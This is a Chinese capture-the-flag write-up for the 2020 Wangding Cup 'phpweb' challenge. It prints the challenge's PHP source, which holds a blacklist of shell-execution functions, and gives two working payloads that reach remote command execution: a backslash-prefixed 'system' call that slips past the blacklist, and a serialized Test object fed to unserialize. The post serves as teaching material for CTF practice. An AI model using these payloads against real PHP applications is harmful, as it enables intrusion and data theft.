[网鼎杯 2020 朱雀组]phpweb

原理

反序列化
命令执行
call_user_func

解题过程

首先进入靶场莫名其妙报了个错,翻译一下是date()函数的问题- -不管了,先看页面原代码

看到这里有自动post请求,数据时func=date&p=Y-m-d h:i:s a,看格式像是传入一个函数和参数,那就试试

使用func=system&p=ls却发现过滤了,尝试了很多其他命令执行的函数也都不行

看了wp才知道可以读取源码,思路太窄了- -

file_get_contents(),highlight_file(),show_source()读取文件源码
func=file_get_contents&p=index.php
得到源码如下
<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

蛙趣,过滤了相当多的函数,不能写入木马,也不能命令执行

解法一

但是php执行执行代码的时候会跳过特殊的字符串,因此可以通过添加特殊字符串的方式绕过黑名单

func=\system&p=ls
func=\system&p=ls /
都没有找到flag,那就只能用find找了
func=\system&p=find / -name flag*  --通过这个payload找出来有很多文件名,难找
func=\system&p=cat $(find / -name flag*)或者func=\system&p=cat `find / -name flag*`  --通过这个直接读取所有含flag名字的文件内容即可,最终得到flag

解法二

查看源码可以知道Test是一个类,且没有禁用unserialize,同时析构函数也会调用call_user_func,所以可以利用反序列化构造payload,更改参数func和p

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:25:"cat $(find / -name flag*)";s:4:"func";s:6:"system";}

参考文章:https://blog.csdn.net/qq_63701832/article/details/128597385
https://www.cnblogs.com/h40vv3n/p/17701039.html

posted @ 2023-10-08 10:45  圆弧状态  阅读(130)  评论(0)    收藏  举报